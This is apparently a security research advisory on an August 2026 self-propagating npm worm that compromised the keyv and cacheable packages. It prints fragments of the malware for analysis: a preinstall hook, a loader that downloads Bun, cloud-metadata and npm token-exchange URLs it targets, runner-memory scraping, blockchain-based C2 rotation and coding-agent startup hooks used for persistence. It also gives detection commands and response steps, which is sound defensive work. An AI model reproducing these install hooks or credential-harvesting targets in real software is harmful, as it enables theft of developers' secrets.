CVE
Not assigned
CWE
CWE-494, CWE-506, CWE-522, CWE-829
Affected Surface
- Confirmed seed-package versions: `keyv@6.0.0`, `cacheable@2.5.1`, `cache-manager@7.2.10`, `cacheable-request@13.0.20`, `flat-cache@6.1.24`, `file-entry-cache@11.1.6`, `@cacheable/net@2.1.1`, `@cacheable/node-cache@3.1.2`, `@cacheable/memory@2.2.1`, `@cacheable/utils@2.5.1`, and `ecto@5.0.1`
- Publicly verified secondary spread now reaches large third-party npm scopes including `@servicetitan/*`, `@onereach/*`, `@or-sdk/*`, `@ornikar/*`, `@qlik/*`, and `@nebula.js/*`, plus smaller clusters such as `@deliveroo/*`, `@picsart/*`, `@hubsync/*`, `@arv-bedrock/*`, `@adminide-stack/*`, and `@umacloud/*`
- Current public censuses are still moving: Endor's embedded August 4 snapshot verifies 384 packages across 1,136 malicious versions, while Wiz's public IOC CSV enumerates a larger live package/version set
- Developer workstations, CI runners, and build hosts that installed the trojanized versions with install scripts enabled
- Systems whose runners or workstations exposed npm, GitHub, cloud, Vault, Kubernetes, or other secret material readable by the package-install process
The most important package-registry story from the last three days is still the 4 August compromise of the keyv and cacheable npm ecosystems, but the public technical picture is now sharper than it was in the first-wave writeups. The reason it deserves its own research writeup is not just the reach of the packages. It is the mechanics: a very small release-time change added setup.mjs and Math_Symbol.js, turned npm install into code execution, used a downloaded Bun runtime to launch the second stage, and then republished new trojanized versions of other packages the stolen npm identity could reach.
That puts this incident in the same operational family as earlier 2026 worm activity such as TanStack’s Mini Shai-Hulud wave, Red Hat’s Miasma branch, and AsyncAPI’s runtime-dropper compromise. The registry artifact is only the entry point. The real payload path is the publish pipeline, the install lifecycle, and the secrets reachable from the host that resolved the package.
The newest useful public reporting also gives the campaign a stable shorthand: ChainDrop. Unit 42’s 6 August analysis uses that name for the wormed keyv / cacheable branch and adds several details that matter operationally even if you already knew the initial package list: the runner-memory scraper was real, the C2 contract was actively rotated after publication, and the GitHub-based persistence and exfiltration paths had already left a measurable public footprint.
Publicly verified package set has expanded
The most important update since this article first went live is that public package-level inventory is no longer limited to a small named set.
- SafeDep now exposes a directly inspectable row-by-row table of 444 package names across 2,234 poisoned versions.
- Endor Labs embeds a point-in-time verified list of 384 packages across 1,136 malicious versions directly in its 4 August writeup.
- Aikido separately reports at least 444 packages across 1,381 versions.
- Wiz publishes a live GitHub IOC CSV that, as of 6 August, enumerates a broader package/version set than the frozen 4 August snapshots.
Those counts do not conflict so much as they describe different states of the incident:
- frozen snapshot versus live tracker
- package count versus package-version count
- inventories captured at different times while packages were still being published and unpublished
The practical conclusion is that there is now a public exact package-version list, but there is still no single settled final total. For article purposes, SafeDep is the strongest directly inspectable exact table, Endor is the cleanest frozen 4 August snapshot, and Wiz remains useful for tracking the evolving upper bound.
Initial maintainer-family packages
| Package | Publicly named compromised version | Source quality |
|---|---|---|
keyv | 6.0.0 | Socket versioned list |
cacheable | 2.5.1 | Socket versioned list |
cache-manager | 7.2.10 | Socket versioned list |
cacheable-request | 13.0.20 | Socket versioned list |
flat-cache | 6.1.24 | Socket versioned list |
file-entry-cache | 11.1.6 | Socket versioned list |
@cacheable/net | 2.1.1 | Socket versioned list |
@cacheable/node-cache | 3.1.2 | Socket versioned list |
@cacheable/memory | 2.2.1 | Socket versioned list |
@cacheable/utils | 2.5.1 | Socket / Endor / Aikido |
ecto | 5.0.1 | Endor / Aikido |
Publicly named worm-propagated third-party packages
| Package | Publicly named compromised version |
|---|---|
@thiennq/docs-viewer | 1.6.2 |
@qlik/runtime-module-loader | 1.5.1 |
@qlik/api | 2.14.2 |
@qlik/embed-runtime | 1.6.4 |
@deliveroo/reevent | 1.0.1 |
@or-sdk/invitations | 1.4.9 |
@picsart/ai-sdk | 3.32.2 |
picasso.js | 2.11.6 |
Those examples are now clearly only the visible tip of the spread. Publicly tracked secondary propagation clusters now include:
@servicetitan/*- the largest current public cluster in Wiz’s live IOC list@onereach/*and@or-sdk/*- large multi-version propagation sets@ornikar/*- a broad config/build-tooling cluster@qlik/*and@nebula.js/*- multiple published developer-facing packages- smaller but still confirmed clusters under
@deliveroo/*,@picsart/*,@hubsync/*,@arv-bedrock/*,@adminide-stack/*, and@umacloud/*
That matters operationally because the spread was not just “a few surprise downstreams.” Public tracking now shows the worm moving through both internal enterprise scopes and widely shared developer-tooling packages.
Socket also notes that @keyv/* adapter 6.0.0 tarballs were published during the compromise window, but its technical analysis says the confirmed executable payload was in the packages it explicitly listed. That is an important distinction: suspicious timing is not the same thing as a confirmed malicious lifecycle path.
The source-side evidence is unusually blunt
This incident is easier to explain than many supply-chain attacks because the compromised source metadata says the quiet part out loud.
The cacheable repository shows a direct commit with the message:
keyv: add setup.mjs and Math_Symbol.js to all packages
The matching GitHub release is even more explicit:
Adds setup.mjs and Math_Symbol.js to all publishable packages
with preinstall lifecycle. Bumps patch versions for re-publish.
And the keyv release page for v6.0.1 states:
Re-publish all packages with setup.mjs and Math_Symbol.js.
Those three artifacts matter because they prove this was not “normal package code later found to be suspicious.” The release pipeline itself was used to add two new files and a new install-time execution path.
The malicious change was tiny and release-focused
Socket’s diff analysis says the trojanized package output stayed byte-identical to the clean v6.0.0-rc.1 build in dist/, and that the malicious behavior was isolated to package.json plus the two added files. The core change looks like this:
{
"files": [
"dist",
"LICENSE",
"setup.mjs",
"Math_Symbol.js"
],
"scripts": {
"preinstall": "node setup.mjs"
}
}
That is why this attack is so operationally dangerous:
- the application code consumers expect to inspect still looks normal
- the malicious execution starts before the install completes
- post-incident source review can miss the real boundary if it only spot-checks
dist/
Stage 1 downloaded Bun and immediately handed control to stage 2
The first-stage loader does not contain the full credential-stealing logic. Its main purpose is to obtain a Bun runtime and use that runtime to launch the bundled second stage:
const V = "1.3.13";
const E = "Math_Symbol.js";
const url =
"https://github.com/oven-sh/bun/releases/download/bun-v" +
V + "/" + target + ".zip";
execFileSync(bunBinary, [payloadPath], {
stdio: "inherit",
cwd: D
});
Two details matter here:
- the loader fetches Bun from GitHub over HTTPS without an independent checksum or signature validation step
- the payload is then executed under Bun, not just Node.js, which can bypass tooling that only watches familiar Node install behavior
Socket also notes that the loader cleans up temporary bun-dl-* directories afterward, which reduces the amount of obvious disk evidence left behind.
One practical defensive wrinkle from JFrog’s follow-on analysis is worth keeping in mind: on npm 12 or newer, preinstall hooks do not run by default. That materially cuts the simplest install-time execution path. But defenders should not over-read that one improvement. The repository-side hook path, existing poisoned lockfiles, and previously infected runners or workstations still remain live incident-response problems even after the registry versions are pulled.
Stage 2 was a real credential-theft and republishing framework
The second stage, Math_Symbol.js, is not a simple downloader. Public reverse engineering ties it to a modular credential collector and publish path with internal components labelled [collector], [dispatcher], [provenance], and [publish]. Endor’s later writeup also notes that the later-wave filename math_init.js is byte-identical to Math_Symbol.js, which is useful for hunting because a filename change did not imply a new payload family.
The network and credential targets are especially revealing:
http://169.254.169.254/latest/api/token
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.170.2
https://registry.npmjs.org/-/whoami
https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/
registry.npmjs.org/-/v1/search?text=maintainer:
That tells defenders several things immediately:
- AWS instance metadata was an explicit target
- the worm knew how to discover which packages a compromised maintainer account controlled
- it attempted to mint or use publish credentials through npm’s identity and OIDC flows
Public reporting also places these secrets in scope:
- npm tokens and npm identity data
- GitHub tokens and GitHub Actions context
- AWS credential chains and metadata credentials
- HashiCorp Vault tokens
- Kubernetes service account tokens
- generic secret-shaped values found by regex sweeps across disk and environment variables
This is why the incident should be treated as host compromise, not just dependency exposure. Once preinstall ran, the package manager process became a credential-harvesting and package-republishing agent.
GitHub Actions runner memory was a first-class target
The most important new technical detail added after the first wave is that the worm did not limit itself to files, environment variables, or ordinary credential helper output. Unit 42 and JFrog both describe a Linux GitHub Actions path that opens the Runner.Worker process through /proc/*/mem and hunts for live secret-bearing objects and OIDC material in memory.
In practical terms, the steal path looked closer to this:
infected package executes in CI
-> worm stays attached to the running job
-> helper opens Runner.Worker memory
-> extracts secret objects and short-lived OIDC material
-> uses those credentials to extend package or repository compromise
That matters because it breaks an assumption many teams still hold: “ephemeral token” is not the same thing as “safe if the runner is already executing attacker code.” Once the job is compromised, in-memory credentials are still credentials.
Public reporting now shows an Ethereum-backed C2 indirection layer
The most interesting technical detail added after the first wave of reporting is how the payload kept its network infrastructure flexible.
Aikido and Wiz both report that when GitHub-based exfiltration is not used, the malware can fall back to npm-cache[.]com. More importantly, that destination was not simply hard-coded as the only endpoint. The payload queried Ethereum RPC infrastructure and resolved C2 data from smart contract 0xE1f2395ee43e45A1556EC6438a88c31B83493103.
Wiz says the contract initially returned three domains before later being changed to return only npm-cache[.]com. That is a materially different defensive problem than a static implant string:
payload ships once
-> attacker rotates contract-returned domains later
-> same package artifact keeps working without republish
For defenders, that means:
- blocking one exfil domain is not equivalent to understanding the operator’s future routing options
- Ethereum RPC traffic such as
eth-mainnet.nodereal[.]io,go.getblock[.]io, oreth.llamarpc[.]comcan be part of the infection chain - the observed
Bun/1.3.13user-agent is a useful runtime IOC when correlated with install-time package activity
The C2 was already rotated after publication
The Ethereum indirection layer stopped being an interesting theoretical feature once researchers watched the operator use it. Unit 42 reports that on 4 August the same wallet controlling contract 0xE1f2395ee43e45A1556EC6438a88c31B83493103 updated the active destination from npm-cache[.]com to awqhnjewqjkl[.]icu, a fresh .icu domain fronted by Cloudflare.
That means two things for defenders:
- a package hash or tarball snapshot by itself is not the whole network story
- domain blocklists need to account for contract-driven rotation, not just the domains seen in the first reports
Unit 42 also notes that the domain-based sender reads the HTTP response body and can evaluate a returned code field. That is a materially worse post-exfiltration model than “one-shot credential theft,” because the server can decide at request time whether to deliver a victim-specific follow-on action without changing the package artifact on disk.
The worm path matters as much as the original compromise
The most important higher-order detail is that the attacker did not stop at the maintainer’s own ecosystem. The same payload searched npm for packages reachable by the compromised maintainer identity, rebuilt tarballs with the same hook and files, bumped versions, and pushed new releases.
Reduced to its essential path, the propagation loop looks like this:
trojanized maintainer-family package
-> npm install runs setup.mjs
-> setup.mjs downloads Bun and runs Math_Symbol.js
-> payload steals npm/GitHub/cloud/Vault/Kubernetes secrets
-> payload queries npm for maintainer-owned packages
-> payload rewrites tarballs with setup.mjs + Math_Symbol.js
-> payload republishes new versions
That sequence explains why the count problem is hard in real time. Public sources can name the first wave and some later victims, but the full package graph can expand faster than static writeups update.
The source repo also became a secondary execution surface
One of the subtler details in Socket’s analysis is that the source repository itself was weaponized, not just the npm tarballs. The reported repo-side persistence hooks were:
- a
.claude/settings.jsonSessionStarthook - a
.vscode/tasks.jsonfolderOpentask
Those two choices are operationally smart for an attacker targeting developers:
- the npm path compromises systems that install the published package
- the repo path compromises developers or coding agents that simply clone and open the repository
That matters for incident response because the blast radius can include engineering workstations that never pulled the malicious npm version but did clone the source tree during the compromise window.
Public GitHub exhaust now gives a lower bound on victim scope
Unit 42 adds one more piece of operationally useful evidence: when the researchers searched GitHub for public repositories matching the worm’s exfiltration marker Shai-Hulud: Here We Go Again, they found 453 repositories across five accounts. They are careful to call those candidate victim accounts, not a final victim count, and they also note that private repositories would not show up in that census.
That distinction is important. The repo count is not the same thing as the package count, and neither is the same thing as the number of compromised organizations. But it does prove the campaign had already escaped the narrow keyv / cacheable maintainer context and was leaving public evidence across third-party GitHub estates while the incident was still unfolding.
Signed provenance did not help because the source was already hostile
This incident is a good example of a supply-chain truth defenders still underestimate:
provenance proves how a release was built,
not whether the source being built was trustworthy
Both Aikido and Socket describe the poisoned releases as carrying valid provenance from the legitimate GitHub Actions publishing flow. That is completely consistent with the attack. If the attacker can push hostile source and let the official workflow build it, the attestation will still verify cleanly.
For AppSec teams, that means a green provenance check is necessary but not sufficient. It does not protect you from:
- maintainer-account takeover
- source-repository compromise
- workflow-triggered publication of already-trojanized code
Detection and scoping
Start with version-specific dependency inventory:
npm ls keyv cacheable cache-manager cacheable-request flat-cache file-entry-cache \
@cacheable/net @cacheable/node-cache @cacheable/memory @cacheable/utils
pnpm why keyv cacheable cache-manager cacheable-request flat-cache file-entry-cache \
@cacheable/net @cacheable/node-cache @cacheable/memory @cacheable/utils
Then hunt lockfiles and caches for the explicitly named downstream packages:
rg -n \
"keyv|cacheable|cache-manager|cacheable-request|flat-cache|file-entry-cache|@cacheable/net|@cacheable/node-cache|@cacheable/memory|@cacheable/utils|@thiennq/docs-viewer|@qlik/runtime-module-loader|@qlik/api|@qlik/embed-runtime|@deliveroo/reevent|@or-sdk/invitations|@picsart/ai-sdk|picasso\\.js|ecto|@servicetitan/|@onereach/|@or-sdk/|@ornikar/|@nebula\\.js/" \
package.json package-lock.json pnpm-lock.yaml yarn.lock
Then look for the execution markers rather than just the package names:
rg -n \
"setup\\.mjs|Math_Symbol\\.js|math_init\\.js|bun-dl-|169\\.254\\.169\\.254|169\\.254\\.170\\.2|createCommitOnBranch|gh auth token|/-/whoami|/-/npm/v1/oidc/token/exchange/package/|npm-cache\\.com|awqhnjewqjkl\\.icu|Bun/1\\.3\\.13|E1f2395ee43e45A1556EC6438a88c31B83493103|IfYouBlockThisAPIKeyItWillCrashTheLiveProductionServersOfAllThirdPartyClients|thebeautifulmarchoftime" \
~/.npm ~/.cache . "$HOME"
Review GitHub and npm activity around the exposure window for:
- unexpected new package versions published on 2026-08-04
- new GitHub repositories or commits created by automation or maintainer credentials
- runner traffic to instance-metadata endpoints
- install-time child processes that fetched or executed Bun
Response guidance
If any affected version executed with install scripts enabled:
- treat the host as compromised, not merely exposed
- rotate npm, GitHub, cloud, Vault, Kubernetes, and other secrets reachable from that host
- review packages published by your own maintainers after the suspected infection window
- inspect CI runners and developer workstations for
setup.mjs,Math_Symbol.js, and temporary Bun download traces - block the named packages and versions in internal registry proxies while incident response is underway
If you rely on provenance as a gate, keep using it, but do not mistake it for maintainer-compromise protection. The lesson from the keyv / cacheable incident is that a signed release can still be the output of a fully compromised source and publishing path.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Socket: Popular npm Packages in the keyv and Cacheable Namespaces Compromised in Active Supply Chain Attack
- Aikido: Keyv and friends compromised in active Shai-Hulud supply chain attack
- Wiz: keyv and cacheable npm Package Hijacked in Supply Chain Attack
- Wiz GitHub IOC list: keyv-packages.csv
- Endor Labs: NPM Malware Compromises keyv and cacheable with 500M+ Weekly Downloads and Spreads to Hundreds of Packages
- SafeDep: Keyv npm supply-chain compromise exact package/version list
- Unit 42: ChainDrop - Inside a Self-Propagating npm Worm
- JFrog: Major Shai Hulud campaign strikes npm again, affecting keyv and 400+ packages
- The New Stack: The npm attack that turned provenance attestations into camouflage
- GitHub commit: keyv - add setup.mjs and Math_Symbol.js to all packages
- GitHub release: Add setup files to all packages
- GitHub release: keyv v6.0.1
- GitHub release: keyv v6.0.0-rc.1
- CWE-494 Download of Code Without Integrity Check
- CWE-506 Embedded Malicious Code